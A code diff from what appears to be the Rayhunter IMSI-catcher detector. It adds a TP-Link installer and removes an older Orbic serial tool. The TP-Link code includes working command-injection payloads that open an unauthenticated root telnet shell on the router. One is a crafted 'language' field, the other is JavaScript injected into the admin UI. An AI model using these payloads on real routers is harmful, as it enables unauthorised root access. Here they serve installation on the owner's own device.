use nusb::hotplug::HotplugEvent;
use tokio_stream::StreamExt;
loop {
let mut watcher = nusb::watch_devices()?;
while let Some(event) = watcher.next().await {
if let HotplugEvent::Connected(dev) = event {
if dev.vendor_id() == vendor_id && dev.product_id() == product_id {
return Ok(());
}
}
}
}
}
#[cfg(target_os = "macos")]
/// `nusb::watch_devices` doesn't appear to work on macOS to poll instead.
async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
loop {
for device_info in nusb::list_devices()? {
if device_info.vendor_id() == vendor_id && device_info.product_id() == product_id {
return Ok(());
}
}
tokio::time::sleep(Duration::from_secs(1)).await;
}
}
async fn at_syscmd(interface: &Interface, command: &str) -> Result<()> {
send_serial_cmd(interface, &format!("AT+SYSCMD={command}")).await
}
/// Sends an AT command to the usb device over the serial port
///
/// First establish a USB handle and context by calling `open_orbic(<T>)
pub async fn send_serial_cmd(interface: &Interface, command: &str) -> Result<()> {
let mut data = String::new();
data.push_str("\r\n");
data.push_str(command);
data.push_str("\r\n");
let timeout = Duration::from_secs(2);
let enable_serial_port = Control {
control_type: ControlType::Class,
recipient: Recipient::Interface,
request: 0x22,
value: 3,
index: 1,
};
// Set up the serial port appropriately
interface
.control_out_blocking(enable_serial_port, &[], timeout)
.context("Failed to send control request")?;
// Send the command
tokio::time::timeout(timeout, interface.bulk_out(0x2, data.as_bytes().to_vec()))
.await
.context("Timed out writing command")?
.into_result()
.context("Failed to write command")?;
// Consume the echoed command
tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
.await
.context("Timed out reading submitted command")?
.into_result()
.context("Failed to read submitted command")?;
// Read the actual response
let response = tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
.await
.context("Timed out reading response")?
.into_result()
.context("Failed to read response")?;
// For some reason, on macOS the response buffer gets filled with garbage data that's
// rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop
// the garbage with `from_utf8_lossy` and look for our expected success string.
let responsestr = String::from_utf8_lossy(&response);
if !responsestr.contains("\r\nOK\r\n") {
bail!("Received unexpected response: {0}", responsestr);
}
Ok(())
}
/// Send a command to switch the device into generic mode, exposing serial
///
/// If the device reboots while the command is still executing you may get a pipe error here, not sure what to do about this race condition.
pub fn enable_command_mode() -> Result<()> {
if open_orbic()?.is_some() {
println!("Device already in command mode. Doing nothing...");
return Ok(());
}
let timeout = Duration::from_secs(1);
if let Some(device) = open_usb_device(VENDOR_ID, 0xf626)? {
let enable_command_mode = Control {
control_type: ControlType::Vendor,
recipient: Recipient::Device,
request: 0xa0,
value: 0,
index: 0,
};
let interface = device
.detach_and_claim_interface(1)
.context("detach_and_claim_interface(1) failed")?;
if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) {
// If the device reboots while the command is still executing we
// may get a pipe error here
if e == nusb::transfer::TransferError::Stall {
return Ok(());
}
bail!("Failed to send device switch control request: {0}", e)
}
return Ok(());
}
bail!(ORBIC_NOT_FOUND);
}
/// Get an Interface for the orbic device
pub fn open_orbic() -> Result<Option<Interface>> {
// Device after initial mode switch
if let Some(device) = open_usb_device(VENDOR_ID, PRODUCT_ID)? {
let interface = device
.detach_and_claim_interface(1) // will reattach drivers on release
.context("detach_and_claim_interface(1) failed")?;
return Ok(Some(interface));
}
// Device with rndis enabled as well
if let Some(device) = open_usb_device(VENDOR_ID, 0xf622)? {
let interface = device
.detach_and_claim_interface(1) // will reattach drivers on release
.context("detach_and_claim_interface(1) failed")?;
return Ok(Some(interface));
}
Ok(None)
}
/// General function to open a USB device
fn open_usb_device(vid: u16, pid: u16) -> Result<Option<Device>> {
let devices = match nusb::list_devices() {
Ok(d) => d,
Err(_) => return Ok(None),
};
for device in devices {
if device.vendor_id() == vid && device.product_id() == pid {
match device.open() {
Ok(d) => return Ok(Some(d)),
Err(e) => bail!("device found but failed to open: {}", e),
}
}
}
Ok(None)
}

343
installer/src/tplink.rs Normal file
View File

@@ -0,0 +1,343 @@
use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
use anyhow::{Context, Error};
use axum::{
Router,
body::{Body, to_bytes},
extract::{Request, State},
http::uri::Uri,
response::{IntoResponse, Response},
routing::any,
};
use bytes::{Bytes, BytesMut};
use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use serde::Deserialize;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout};
use crate::InstallTpLink;
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
pub async fn main_tplink(
InstallTpLink {
skip_sdcard,
admin_ip,
}: InstallTpLink,
) -> Result<(), Error> {
start_telnet(&admin_ip).await?;
tplink_run_install(skip_sdcard, admin_ip).await
}
#[derive(Deserialize)]
struct V3RootResponse {
result: u64,
}
pub async fn start_telnet(admin_ip: &str) -> Result<(), Error> {
let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi");
let client = reqwest::Client::new();
println!("Launching telnet on the device");
// https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
// in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
let response = client.post(&qcmap_web_cgi_endpoint)
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
.send()
.await?;
if response.status() == 404 {
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
tplink_launch_telnet_v5(admin_ip).await?;
} else {
let V3RootResponse { result } = response.error_for_status()?.json().await?;
if result != 0 {
anyhow::bail!("Bad result code when trying to root device: {result}");
}
// resetting the language is important because otherwise the tplink's admin interface is
// unusuable.
let V3RootResponse { result } = client
.post(&qcmap_web_cgi_endpoint)
.body(r#"{"module": "webServer", "action": 1, "language": "en"}"#)
.send()
.await?
.error_for_status()?
.json()
.await?;
if result != 0 {
anyhow::bail!("Bad result code when trying to reset the language: {result}");
}
println!("Detected hardware revision v3");
}
println!(
"Succeeded in rooting the device! Now you can use 'telnet {admin_ip}' to get a root shell. Use './installer util tplink-start-telnet' to root again without installing rayhunter."
);
Ok(())
}
async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), Error> {
println!("Connecting via telnet to {admin_ip}");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
if !skip_sdcard {
println!("Mounting sdcard");
if telnet_send_command(addr, "mount | grep -q /media/card", "exit code 0")
.await
.is_err()
{
telnet_send_command(addr, "mount /dev/mmcblk0p1 /media/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
} else {
println!("sdcard already mounted");
}
}
// there is too little space on the internal flash to store anything, but the initrd script
// expects things to be at this location
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
telnet_send_command(addr, "ln -sf /media/card /data/rayhunter", "exit code 0").await?;
telnet_send_file(
addr,
"/media/card/config.toml",
crate::CONFIG_TOML.as_bytes(),
)
.await?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_TPLINK"));
telnet_send_file(addr, "/media/card/rayhunter-daemon", rayhunter_daemon_bin).await?;
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
get_rayhunter_daemon().as_bytes(),
)
.await?;
telnet_send_command(
addr,
"chmod ugo+x /media/card/rayhunter-daemon",
"exit code 0",
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
)
.await?;
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
println!(
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
);
telnet_send_command(addr, "reboot", "exit code 0").await?;
Ok(())
}
async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<(), Error> {
println!("Sending file {filename}");
// remove the old file just in case we are close to disk capacity.
telnet_send_command(addr, &format!("rm {filename}"), "").await?;
{
let filename = filename.to_owned();
let handle = tokio::spawn(async move {
telnet_send_command(addr, &format!("nc -l 0.0.0.0:8081 > {filename}.tmp"), "").await
});
sleep(Duration::from_millis(100)).await;
let mut addr = addr;
addr.set_port(8081);
let mut stream = TcpStream::connect(addr).await?;
stream.write_all(payload).await?;
handle.await??;
}
let checksum = md5::compute(payload);
telnet_send_command(
addr,
&format!("md5sum {filename}.tmp"),
&format!("{checksum:x} {filename}.tmp"),
)
.await?;
telnet_send_command(
addr,
&format!("mv {filename}.tmp {filename}"),
"exit code 0",
)
.await?;
Ok(())
}
async fn telnet_send_command(
addr: SocketAddr,
command: &str,
expected_output: &str,
) -> Result<(), Error> {
let stream = TcpStream::connect(addr).await?;
let (mut reader, mut writer) = stream.into_split();
loop {
let mut next_byte = 0;
reader
.read_exact(std::slice::from_mut(&mut next_byte))
.await?;
if next_byte == b'#' {
break;
}
}
writer.write_all(command.as_bytes()).await?;
writer.write_all(b"; echo exit code $?\r\n").await?;
let mut read_buf = Vec::new();
let _ = timeout(Duration::from_secs(5), async {
let mut buf = [0; 4096];
loop {
let Ok(bytes_read) = reader.read(&mut buf).await else {
break;
};
let bytes = &buf[..bytes_read];
if bytes.is_empty() {
continue;
}
read_buf.extend(bytes);
if read_buf.ends_with(b"/ # ") {
break;
}
}
})
.await;
let string = String::from_utf8_lossy(&read_buf);
if !string.contains(expected_output) {
anyhow::bail!("{expected_output:?} not found in: {string}");
}
Ok(())
}
#[derive(Clone)]
struct AppState {
client: HttpProxyClient,
admin_ip: String,
}
async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, StatusCode> {
let path = req.uri().path();
let path_query = req
.uri()
.path_and_query()
.map(|v| v.as_str())
.unwrap_or(path);
let uri = format!("http://{}{}", state.admin_ip, path_query);
// on version 5.2, this path is /settings.min.js
// on other versions, this path is /js/settings.min.js
let is_settings_js = path.ends_with("/settings.min.js");
*req.uri_mut() = Uri::try_from(uri).unwrap();
let mut response = state
.client
.request(req)
.await
.map_err(|_| StatusCode::BAD_REQUEST)?
.into_response();
if is_settings_js {
let (parts, body) = response.into_parts();
let data = to_bytes(body, usize::MAX)
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
let mut data = BytesMut::from(data);
// inject some javascript into the admin UI to get us a telnet shell.
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
alert("Success! You can go back to the rayhunter installer.");
window.clearInterval(window.rayhunterPoll);
}, 1000);"#);
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
response.headers_mut().remove("Content-Length");
}
Ok(response)
}
async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
let client: HttpProxyClient =
hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
.build(HttpConnector::new());
let app = Router::new()
.route("/", any(handler))
.route("/{*path}", any(handler))
.with_state(AppState {
client,
admin_ip: admin_ip.to_owned(),
});
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
.await
.unwrap();
println!("Listening on http://{}", listener.local_addr().unwrap());
println!("Please open above URL in your browser and log into the router to continue.");
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
while telnet_send_command(addr, "true", "exit code 0")
.await
.is_err()
{
sleep(Duration::from_millis(1000)).await;
}
handle.abort();
Ok(())
}
fn get_rayhunter_daemon() -> String {
// Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
// changing the order in which daemons are started up seems to not work reliably.
//
// This part of the daemon dynamically generated because we may have to eventually add logic
// specific to a particular hardware revision here.
crate::RAYHUNTER_DAEMON_INIT.replace(
"#RAYHUNTER-PRESTART",
"mount /dev/mmcblk0p1 /media/card || true",
)
}
#[test]
fn test_get_rayhunter_daemon() {
let s = get_rayhunter_daemon();
assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
}

View File

@@ -1,6 +1,6 @@
[package]
name = "rayhunter"
version = "0.2.8"
version = "0.3.0"
edition = "2021"
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"

View File

@@ -1,6 +1,6 @@
[package]
name = "rootshell"
version = "0.2.8"
version = "0.3.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

View File

@@ -1,11 +0,0 @@
[package]
name = "serial"
version = "0.2.6"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
anyhow = "1.0.97"
nusb = "0.1.13"
tokio = { version = "1.44.2", features = ["macros", "rt", "time"] }

View File

@@ -1,173 +0,0 @@
//! Serial communication with the orbic device
//!
//! This binary has two main functions, putting the orbic device in update mode which enables ADB
//! and running AT commands on the serial modem interface which can be used to upload a shell and chown it to root
//!
//! # Errors
//!
//! No device found - make sure your device is plugged in and turned on. If it is, it's possible you have a device with a different
//! usb id, file a bug with the output of `lsusb` attached.
use std::str;
use std::time::Duration;
use anyhow::{bail, Context, Result};
use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
use nusb::{Device, Interface};
const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
Make sure your device is plugged in and turned on.
If it's possible you have a device with a different usb id:
please file a bug with the output of `lsusb` attached."#;
#[tokio::main(flavor = "current_thread")]
async fn main() -> Result<()> {
let args: Vec<String> = std::env::args().collect();
if args.len() != 2 || args[1] == "-h" || args[1] == "--help" {
println!("usage: {0} [<command> | --root]", args[0]);
std::process::exit(1);
}
if args[1] == "--root" {
enable_command_mode()
} else {
match open_orbic()? {
Some(interface) => send_command(interface, &args[1]).await,
None => bail!(ORBIC_NOT_FOUND),
}
}
}
/// Sends an AT command to the usb device over the serial port
///
/// First establish a USB handle and context by calling `open_orbic(<T>)
async fn send_command(interface: Interface, command: &str) -> Result<()> {
let mut data = String::new();
data.push_str("\r\n");
data.push_str(command);
data.push_str("\r\n");
let timeout = Duration::from_secs(1);
let enable_serial_port = Control {
control_type: ControlType::Class,
recipient: Recipient::Interface,
request: 0x22,
value: 3,
index: 1,
};
// Set up the serial port appropriately
interface
.control_out_blocking(enable_serial_port, &[], timeout)
.context("Failed to send control request")?;
// Send the command
tokio::time::timeout(timeout, interface.bulk_out(0x2, data.as_bytes().to_vec()))
.await
.context("Timed out writing command")?
.into_result()
.context("Failed to write command")?;
// Consume the echoed command
tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
.await
.context("Timed out reading submitted command")?
.into_result()
.context("Failed to read submitted command")?;
// Read the actual response
let response = tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
.await
.context("Timed out reading response")?
.into_result()
.context("Failed to read response")?;
// For some reason, on macOS the response buffer gets filled with garbage data that's
// rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop
// the garbage with `from_utf8_lossy` and look for our expected success string.
let responsestr = String::from_utf8_lossy(&response);
if !responsestr.contains("\r\nOK\r\n") {
println!("Received unexpected response: {0}", responsestr);
std::process::exit(1);
}
Ok(())
}
/// Send a command to switch the device into generic mode, exposing serial
///
/// If the device reboots while the command is still executing you may get a pipe error here, not sure what to do about this race condition.
fn enable_command_mode() -> Result<()> {
if open_orbic()?.is_some() {
println!("Device already in command mode. Doing nothing...");
return Ok(());
}
let timeout = Duration::from_secs(1);
if let Some(device) = open_device(0x05c6, 0xf626)? {
let enable_command_mode = Control {
control_type: ControlType::Vendor,
recipient: Recipient::Device,
request: 0xa0,
value: 0,
index: 0,
};
let interface = device
.detach_and_claim_interface(1)
.context("detach_and_claim_interface(1) failed")?;
if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) {
// If the device reboots while the command is still executing we
// may get a pipe error here
if e == nusb::transfer::TransferError::Stall {
return Ok(());
}
bail!("Failed to send device switch control request: {0}", e)
}
return Ok(());
}
bail!(ORBIC_NOT_FOUND);
}
/// Get an Interface for the orbic device
fn open_orbic() -> Result<Option<Interface>> {
// Device after initial mode switch
if let Some(device) = open_device(0x05c6, 0xf601)? {
let interface = device
.detach_and_claim_interface(1) // will reattach drivers on release
.context("detach_and_claim_interface(1) failed")?;
return Ok(Some(interface));
}
// Device with rndis enabled as well
if let Some(device) = open_device(0x05c6, 0xf622)? {
let interface = device
.detach_and_claim_interface(1) // will reattach drivers on release
.context("detach_and_claim_interface(1) failed")?;
return Ok(Some(interface));
}
Ok(None)
}
/// General function to open a USB device
fn open_device(vid: u16, pid: u16) -> Result<Option<Device>> {
let devices = match nusb::list_devices() {
Ok(d) => d,
Err(_) => return Ok(None),
};
for device in devices {
if device.vendor_id() == vid && device.product_id() == pid {
match device.open() {
Ok(d) => return Ok(Some(d)),
Err(e) => bail!("device found but failed to open: {}", e),
}
}
}
Ok(None)
}

View File

@@ -1,6 +1,6 @@
[package]
name = "telcom-parser"
version = "0.2.8"
version = "0.3.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

View File

@@ -1,18 +0,0 @@
#!/bin/env bash
set -e
mkdir build
cd build
curl -LOs "https://github.com/EFForg/rayhunter/releases/latest/download/release.tar"
curl -LOs "https://github.com/EFForg/rayhunter/releases/latest/download/release.tar.sha256"
if ! sha256sum -c --quiet release.tar.sha256; then
echo "Download corrupted! (╯°□°)╯︵ ┻━┻"
exit 1
fi
tar -xf release.tar
./install.sh
cd ..
rm -rf build